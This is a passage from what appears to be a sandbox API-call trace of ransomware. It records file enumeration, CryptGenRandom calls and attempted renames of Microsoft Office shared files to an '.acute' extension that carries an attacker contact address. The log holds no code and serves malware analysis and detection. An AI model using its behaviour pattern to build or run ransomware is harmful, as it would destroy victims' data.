hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.549] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=566) returned 1 [0272.549] CloseHandle (hObject=0x324) returned 1 [0272.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0272.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.549] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.549] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=176311) returned 1 [0272.549] CloseHandle (hObject=0x324) returned 1 [0272.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0272.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.550] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.550] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=7656) returned 1 [0272.550] CloseHandle (hObject=0x324) returned 1 [0272.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0272.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.551] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.551] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=31104) returned 1 [0272.551] CloseHandle (hObject=0x324) returned 1 [0272.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0272.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.551] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.552] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=38768) returned 1 [0272.552] CloseHandle (hObject=0x324) returned 1 [0272.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0272.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.552] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.555] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1312656) returned 1 [0272.555] CloseHandle (hObject=0x324) returned 1 [0272.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0272.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.555] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.556] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1486736) returned 1 [0272.556] CloseHandle (hObject=0x324) returned 1 [0272.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0272.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.557] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.557] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=2124664) returned 1 [0272.557] CloseHandle (hObject=0x324) returned 1 [0272.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0272.557] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.557] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0 [0272.558] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.558] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6811) returned 1 [0272.558] CloseHandle (hObject=0x324) returned 1 [0272.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0272.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.559] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.723] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=323936) returned 1 [0272.723] CloseHandle (hObject=0x32c) returned 1 [0272.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0272.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.723] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.723] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3584) returned 1 [0272.723] CloseHandle (hObject=0x32c) returned 1 [0272.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0272.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.724] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0272.783] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=4096) returned 1 [0272.783] CloseHandle (hObject=0x34c) returned 1 [0272.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0272.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.784] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0272.784] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1704448) returned 1 [0272.784] CloseHandle (hObject=0x34c) returned 1 [0272.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0272.784] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.785] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0 [0272.785] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0272.785] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=507904) returned 1 [0272.785] CloseHandle (hObject=0x34c) returned 1 [0272.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0272.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.785] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0272.785] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1547264) returned 1 [0272.785] CloseHandle (hObject=0x34c) returned 1 [0272.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0272.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.786] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0272.786] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6331392) returned 1 [0272.786] CloseHandle (hObject=0x34c) returned 1 [0272.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0272.786] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.786] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0 [0272.786] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0272.786] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=49664) returned 1 [0272.786] CloseHandle (hObject=0x34c) returned 1 [0272.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0272.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 